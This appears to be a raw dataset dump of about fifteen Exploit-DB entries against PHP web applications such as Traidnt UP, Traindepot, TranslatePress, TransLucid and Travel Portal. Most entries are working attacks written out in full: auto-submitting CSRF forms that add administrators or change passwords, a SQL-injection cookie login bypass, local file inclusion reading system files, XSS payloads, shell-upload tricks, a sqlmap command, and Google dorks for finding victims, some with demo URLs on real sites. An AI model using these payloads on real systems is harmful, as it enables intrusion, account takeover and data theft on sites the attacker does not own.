deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10629
Description: Traidnt Gallery - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2009-12-24
Author: wlhaan-hacker

Exploit:
                          ||          ||   | ||
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> team wlhaan hacker                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


_____________________________________________________
Traidnt Gallery) add Admin Exploit)

#####################################################
# [+] Author : wlhaan hacker #
# [+] Email : iit@HoTMaiL.coM #
# [+] Site : www.sa-hacker.com/vb #
# [+] Team : wlhaan TeaM #
# [+] Dork : Powered by:Traidnt Gallery Version 1.0. #
# [+]
#####################################################

[+] download : http://www.tw4host.com/vb/attachment.php?s=622750d4b01903b754e83a135c44d8cc&attachmentid=779&d=[PII_REDACTED]


The exploit :

 "install/install.php?step=3"

Get now in :

http://localhost/path/install/install.php?step=3


now add user name and password

and good luck :D

Thanks to : shooq hacker ..

#####################################################
Exploit-DB #36892
Description: Traidnt Topics Viewer 2.0 - 'main.php' Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-02-29
Author: Green Hornet

Exploit:
# source: https://www.securityfocus.com/bid/52224/info
#
# Traidnt Topics Viewer is prone to a cross-site request-forgery vulnerability.
#
# Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible.
#
# Traidnt Topics Viewer 2.0 BETA 1 is vulnerable; other versions may also be affected. 
#

<html>
<body onload="javascript:document.forms[0].submit()">
<p>by:thegreenhornet</p>
<form method="POST" name="form0" action="
http://www.example.com/top/admincp/main.php?op=add-admin">
<input type="hidden" name="u_name" value="admin2"/>
<input type="hidden" name="u_m_pass" value="123456"/>
<input type="hidden" name="u_email" value="WW22@rwoot.com"/>
</form>
</body>
Exploit-DB #8006
Description: Traidnt UP 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-02-09
Author: fantastic

Exploit:
================================================================================================
================================================================================================                                                                                               
 Traidnt UP Version 1.0. remote file upload vulnerability
                           
========================================
========================================
                                                     
== Author::  fantastic    
             
== Home :: www.iq-ty.com                          
== email:: egypt.fantastic@yahoo.com  
=======================================
=======================================
DorK:  inurl: Powered by Traidnt UP Version 1.0.
===========================================================
===========================================================                                                                                                               
exploit :  upload your php file as   the file name.php.gif   or  the file name .php.jpg
                                                                                                                     
 for example  shell.php.gif    or shell.php.jpg                                                   
                                                                                                                      
===========================================================
thanks for  www.iq-ty.com  hussain  x , fahd , montela88 , virus t , abu salaman  , MR-MOH  , SAKAB , and all of my iq-ty friends
===========================================================

# milw0rm.com [2009-02-09]
Exploit-DB #8202
Description: Traidnt up 2.0 - 'cookie' Add Extension Bypass
Type: webapps
Platform: php
Date: 2009-03-11
Author: SP4rT

Exploit:
<html>
<center>
<br>
<br>
<!--
#########################################################
#
#	Traidnt Up version 2.0 Add Extension By Pass
#	Author: SP4rT
#	Email : SP4rt@Yahoo.coM
#	DownLoad : http://traidnt.net/vb/showthread.php?t=943260
#	Downloads : 33712
#
#	1.	Enter uploadcp url 
#	2.	javascript:documentcookie="trupuser=SP4rT;";
#	3.	Enter this Page After Edit {script_path} & PosT your Extension .
#
#########################################################
-->
<form name='traidnt-ext' action='http:/{script_path}/uploadcp/files.php?do=extension&go=add' method='POST'>
<table border='1' width='450'>
<tr>
<td align='center' colspan='2'>Add Extension :</td>
</tr>
<tr>
<td align=center><input type='text' name='exname' value='php'>
<input type='hidden' name='maxsize' value='[PII_REDACTED]00'>
<input type='submit' value='   Add Ext   '>

</td>
</tr>
</table>

# milw0rm.com [2009-03-11]
Exploit-DB #17267
Description: Traidnt UP 2.0 - 'view.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-05-10
Author: ScOrPiOn

Exploit:
###################################################
# |Title           : Traidnt UP (view.php) SQL Injection Vulnerability
# | Software        : Traidnt UP
# | Version        : 2.0
# | Date            : 09 / 05 / 2011
# | Author          : ScOrPiOn
# | Contact         : nemesis_kingofthekilling@hotmail.com
# | Google Dork     : "Powered by Traidnt UP Version 2.0"
# | Vendor          : http://www.traidnt.net/vb/showthread.php?t=725777
##################################################
# | Exploit :
# | http://www.localhost.com//view.php?file=SQL
##################################################
# | Greetz :
# | Dr.Dmar , Joker_1 , Crazy_Dad , Azam , All My Msn Messenger Friends
##################################################
Demo :
http://up.lll1.com//view.php?file=eaf47f8b92%27
http://www.kll5.net//view.php?file=fc99545574%27
##################################################
magic_quotes_gpc :: Off
##################################################
I Love You .... (K)
##################################################
Exploit-DB #8831
Description: Traidnt Up 2.0 - Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-29
Author: Qabandi

Exploit:
                  ||          ||   | ||
           o_,_7 _||  . _o_7 _|| q_|_||  o_w_,
          ( :   /    (_)    /           (   .  


=By: 	Qabandi
=Email:	iqa[a]hotmail.fr

	From Kuwait PEACE
                      
=Vuln:		Traidnt Up version 2.0 (Auth Bypass / Cookie) SQL Injection Vulnerability
=INFO:		http://traidnt.net/vb/showthread.php?t=943260
=BUY:  		----
=DORK:		----


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
-----------------Vulnerable-code:--adminquery.php------------------
if(isset($_COOKIE[trupuser])){

      $adminuser =  strip_tags($_COOKIE[trupuser]);<---not filtered properly
      $adminpassword = strip_tags($_COOKIE[truppassword]);

 	  $getadmin = $db->query("SELECT * FROM `admin` WHERE `admin`.`admin_user` = '$adminuser' AND `admin`.`admin_password` = '$adminpassword'  LIMIT 0 , 1 ");
   	  $issetadmin = $db->resultcount($getadmin);

   	  if($issetadmin == 1){ <---- Checks if SQL statement is true then give the OK.
-------------------------------------------------------------------
=-=--=-==-=-=-=-=-=-=PoC=-=-=-=----=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==
Condition!: Magic_quotes_gpc == OFF!

APPLY THESE COOKIES:
Javascript:document.cookie = "trupuser=admin' or '1'='1;"
Javascript:document.cookie = "trup[CREDENTIAL_REDACTED]' or '1'='1;"

Go To:
./uploadcp/index.php

Enjoy Q_Q

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-=-=-==-COOOOKIEEEE!!!<3<3<3<3<3=---=-=-=-=-=--=-=-=-=-=-
-=-=-=-=-=-=-=Qabandi=-=-=Was-=-=-=--=-===-=HERE-=-=-=-=--=-=-=-==
=-=-=-=-==-=-=-=-=-=-No----More---Private=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, All muslim hackers.

# milw0rm.com [2009-05-29]
Exploit-DB #15826
Description: Traidnt Up 3.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-12-25
Author: P0C T34M

Exploit:
#Title    :  TRAIDNT UP Version 3.0  - CSRF Add Admin
#Script   :  TRAIDNT UP Version 3.0 
#Language : Php
#Download : http://www.traidnt.net
#                  http://www.traidnt.net/vb/attachment.php?attachmentid=519880&d=[PII_REDACTED]
#Date     : 2010/12/25
#Version  : 3.0
#Dork     : "Powered by TRAIDNT UP Version 3.0 "
#Found    : by P0C T34M >> tnt-r00t 
#Homepage : www.p0c.cc



<html>
    <form name="p0c" action="http://127.0.0.1/up/admin/users.php?do=addnew" method="post">
    <input type="hidden" name="name" value="r00t3d"/>
    <input type="hidden" name="password" value="Password"/>
    <input type="hidden" name="email" value="myemail@hotmail.com"/>
    <input type="hidden" name="birthdate" value="1987"/>
    <input type="hidden" name="country" value="SA"/>
    <input type="hidden" name="group" value="1"/>
</form>
<script>document.p0c.submit();</script>
</html>
TRAIDNT UP Version 3.0  - CSRF Add Admin
Exploit-DB #5848
Description: traindepot 0.1 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-18
Author: CWH Underground

Exploit:
============================================================
  Traindepot 0.1 (LFI/XSS) Multiple Remote Vulnerabilities
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 18 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Traindepot
 VERSION     : 0.1
 VENDOR	     : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/traindepot
#####################################################

--- Local File Inclusion ---

-------------
 Exploit
-------------

[+] http://[Target]/[Traindepot_path]/index.php?module=[LFI]

-------------
 POC Exploit
-------------

[+] GET http://192.168.24.25/traindepot/index.php?module=../../../../../../../../boot.ini%00 HTTP/1.1
[+] Accept: */*
[+] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[+] Host: 192.168.24.25
[+] Cookie: PHPSESSID=3954bc593bfbf164295dfabbe2459187
   
 
    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.


--- Remote XSS (query) ---

[+] http://[Target]/[Traindepot_path]/index.php?module=search

---------------------------
 POC Exploit [POST Method]
---------------------------

[+] POST http://192.168.24.25/traindepot/index.php?module=search HTTP/1.1
[+] Accept: */*
[+] Content-Type: application/x-www-form-urlencoded
[+] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[+] Host: 192.168.24.25
[+] Content-Length: 70
[+] Cookie: PHPSESSID=3954bc593bfbf164295dfabbe2459187

[+] query=<script>alert(123);</script>&search=%3F


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-18]
Exploit-DB #51043
Description: Translatepress Multilinugal WordPress plugin < 2.3.3 - Authenticated SQL Injection
Type: webapps
Platform: php
Date: 2023-03-25
Author: Elias Hohl

Exploit:
# Exploit Title: Translatepress Multilinugal WordPress plugin < 2.3.3 - Authenticated SQL Injection 
# Exploit Author: Elias Hohl
# Date: 2022-07-23
# Vendor Homepage: https://translatepress.com/
# Software Link: https://wordpress.org/plugins/translatepress-multilingual/
# Version: < 2.3.3
# Tested on: Ubuntu 20.04
# CVE : CVE-2022-3141

Authenticated SQL injection vulnerability in "Translatepress Multilingual" Wordpress plugin

https://medium.com/@elias.hohl/authenticated-sql-injection-vulnerability-in-translatepress-multilingual-wordpress-plugin-effc08eda514

1. Start a new Wordpress instance using docker-compose.

2. Install the translatepress-multilingual plugin. Important note: If there are more than two languages allowed in a kind of premium plan, the exploit might be slightly different. We might need to insert deletion requests between each injection to prevent payloads being executed again. Also note that the en_us_en_gb dictionary table must exist. You might need to add these languages first so the table gets created.

3. Connect your browser to Burp Suite, log in to Wordpress and add any language from the dropdown (the url to do this is /wp-admin/options-general.php?page=translate-press). In Burp Suite, do a right click→ copy to file, and save it as translatepress_req.txt.

4. Go to /sample-page/?trp-edit-translation=preview (a URL to translate an arbitrary post). Again, in Burp Suite do a right mouse click → save to file, and save it as translatepress_req_2.txt.

5. Attack using sqlmap: sqlmap -r translatepress_req.txt -p trp_settings%5Btranslation-languages%5D%5B%5D --dbms=mysql --second-req translatepress_req_2.txt --technique=T --level 5 --risk 3


sqlmap will find a time-based blind payload:


Parameter: trp_settings[translation-languages][] (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: option_page=trp_settings&action=update&_wpnonce=ca410d0e89&_wp_http_referer=/wp-admin/options-general.php?page=translate-press%26settings-updated=true&trp_settings[default-language]=en_US&trp_settings[publish-languages][]=en_US&trp_settings[translation-languages][]=en_US&trp_settings[translation-languages-formality][]=default&trp_settings[url-slugs][en_US]=en_us&trp_settings[translation-languages][]=en_GB WHERE 4372=4372 AND (SELECT 6967 FROM (SELECT(SLEEP(5)))ZDtR)-- bsZU&trp_settings[publish-languages][]=en_GB&trp_settings[translation-languages-formality][]=default&trp_settings[url-slugs][en_GB]=en&trp_settings[native_or_english_name]=english_name&trp_settings[add-subdirectory-to-default-language]=no&trp_settings[force-language-to-custom-links]=yes&trp_settings[shortcode-options]=flags-full-names&trp_settings[menu-options]=flags-full-names&trp_settings[trp-ls-floater]=yes&trp_settings[floater-options]=flags-full-names&trp_settings[floater-color]=dark&trp_settings[floater-position]=bottom-right&trp_email_course_email=
Exploit-DB #11155
Description: Transload Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-16
Author: DigitALL

Exploit:
# Exploit Title: Translod Script Uplaod Vulnerability

# Date: 16.01.2010

# Author: DigitALL

# Web Site : www.digitallsecurity.org<http://www.digitallsecurity.org>

# Thanks : Zombie KroNickq NoFearx38 And All 1923Turk.Com Members

# Software Link: http://somik.org/requests/transloader.zip

# Version: 1.0

# Code :

Google Dork: "Transloader by Somik.org" or "Transloader by" or "Transloder"  etc etc

From (http://): Your Shell Link (Example http://www.digitallsecurity.org/dosyalar/xx.txt)

To (filename): Shell Name (Example: shell.php)

And Submit Form.Your Shell Upload a /transloaded/shell.php
Exploit-DB #6360
Description: TransLucid 1.75 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-03
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: TransLucid 1.75 (fckeditor) Remote Arbitrary File Upload
# Vendor: www.translucidonline.com
# Vulnerable Version: 1.75 (prior versions also may be affected)
# Exploitation: Remote with browser
# Exploit: Available
# Impact: Medium
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_51.htm
###################################################################################

####################
- Description:
####################

transLucid is the simple website publishing system with which anyone can create and maintain web content, in multiple languages and based on a
growing list of ready-made, professional layouts.

####################
- Vulnerability:
####################

+--> Fckeditor Arbitrary File Upload

The problem is that it is possible to upload files to a location inside the web root "/userdata" via the

/editors/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php script.


####################
- Exploit:
####################

http://example.com/transLucid_175/editors/FCKeditor/editor/filemanager/browser/default/connectors/test.html

####################
- Solution:
####################

Restrict and grant only trusted users access to the resources.

####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-09-03]
Exploit-DB #8943
Description: TransLucid 1.75 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-12
Author: intern0t

Exploit:
transLucid - Cross Site Scripting and HTML Injection Vulnerabilities

Version Affected: 1.75 (newest)

Info: transLucidonline is the easy website publishing system with which
anyone can create and maintain web content, in multiple languages and
based on a growing list of ready-made, professional layouts.

Credits: InterN0T (macd3v and MaXe)

External Links:
http://www.pantha.net/


-:: The Advisory ::-

Vulnerable Function / ID Calls:
NodeID & action (vulnerable in both admin and public panels)

Cross Site Scripting: (anyone - this was tested with public mode on)
1)
http://[HOST]/translucid/transLucid_175/?NodeID="><script>alert(0)</script>
2)
http://[HOST]/translucid/transLucid_175/?action="><script>alert(0)</script>
(found by macd3v)
3)
http://[HOST]/translucid/transLucid_175/?admin_section=1&NodeID="><script>alert(0)</script>
-- Number 3 might require moderator or administrative access if public
mode is not turned on.

HTML Injection:
- If public mode is on / chosen, editing the following page-fields will
result in script execution: Title & Url

Adding a new page can result in HTML Injection too. (Parent & Child
pages were fully tested.)

Affected Sites by HTML Injection: (there will most likely be a lot more.)
http://[HOST]/translucid/transLucid_175/?action=switchto_editmode
-- In the admin panel "> needs to be prepended most likely in order to
execute the injection.
--=-- Switching the theme to Developer can result in HTML Injection if
there is any injected.

-:: Solution ::-
Regular expression match and / or bad characters conversion rocks!

Conclusion:
Easy to install and use, but the code should have been reviewed long ago.

Reference:
http://forum.intern0t.net/intern0t-advisories/1122-intern0t-translucid-1-75-multiple-vulnerabilities.html

Disclosure Information:
- Vulnerabilities found, researched and confirmed between 5th to 10th June.
- Advisory finished and published on InterN0T the 12th June.
- Vendor and Buqtraq (SecurityFocus) contacted the 12th June.


All of the best,
MaXe

# milw0rm.com [2009-06-12]
Exploit-DB #52086
Description: TranzAxis 3.2.41.10.26 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2025-03-19
Author: ABABANK REDTEAM

Exploit:
Exploit Title: TranzAxis 3.2.41.10.26 - Stored Cross-Site Scripting (XSS) (Authenticated)
Date: 10th, March, 2025
Exploit Author: ABABANK REDTEAM
Vendor Homepage: https://compassplustechnologies.com/
Version: 3.2.41.10.26
Tested on: Window Server 2016

1. Login to web application
2. Click on `Entire System` goto `Monitoring` then click on `Terminals
Monitoring`
3. Select any name below `Terminals Monitoring` then click on `Open Object
in Tree`
4. Select on Filter then supply with any filter name then click `Apply
Filter`
5. On the right side select on `Save Settings in Explorer Tree`, on the
`Enter Explorer Item Title` supply the payload <img src=x
onerror=alert(document.domain)> then click OK.

Payload: <img src=x onerror=alert(document.domain)>
Exploit-DB #15280
Description: Travel Portal Script - Cross-Site Request Forgery (Admin Password Change)
Type: webapps
Platform: php
Date: 2010-10-19
Author: KnocKout

Exploit:
=====================================================
Travel PORTAL <= Admin Password Change (CSRF) Exploit
=====================================================

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Travel PORTAL
|~Price : 299 Euro :)
|~Version : N/A
|~Software: http://www.tourismscripts.com
|~Vulnerability Style : CSRF
|~Vulnerability Dir : /admin
|~Google Keyword : "For Owners, Agents, Hotels, Hostels, Guest House "
|[~]Date : "18.10.2010"
|[~]Tested on : (L):Vista (R):Demos.
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
############################################################
the target can be changed according to
<form method="post" action="http://VICTIM/admin/admin.php">
############################################################

    ~~~~~~~~ Explotation| Exploit.HTML~~~~~~~~~~~
    
========(CSRF) Html Exploit=========

<title>Exploited by KnocKout</title>
</table>
<br>
<h3>Travel Portal - Remote Admin Password Change (CSRF) Exploited by KnocKout</h3>
<table>

<tr>
<form method="post" action="http://server/admin/admin.php">
<input type="hidden" name="admin_id" value="1">
<td align=right>Admin Name:</td><td align=left>admin<td>
</tr>
<tr>
<td align=right>New Password:</td><td align=left><input type="password" name="password" size="40" maxlength="40" ><td>
</tr>
<tr>
<td></td><td><input type="submit" name="submit" value="Update Password"></td>
</form>
</tr>
</table>

========(CSRF) Html Exploit=========
    
     GoodLUCK.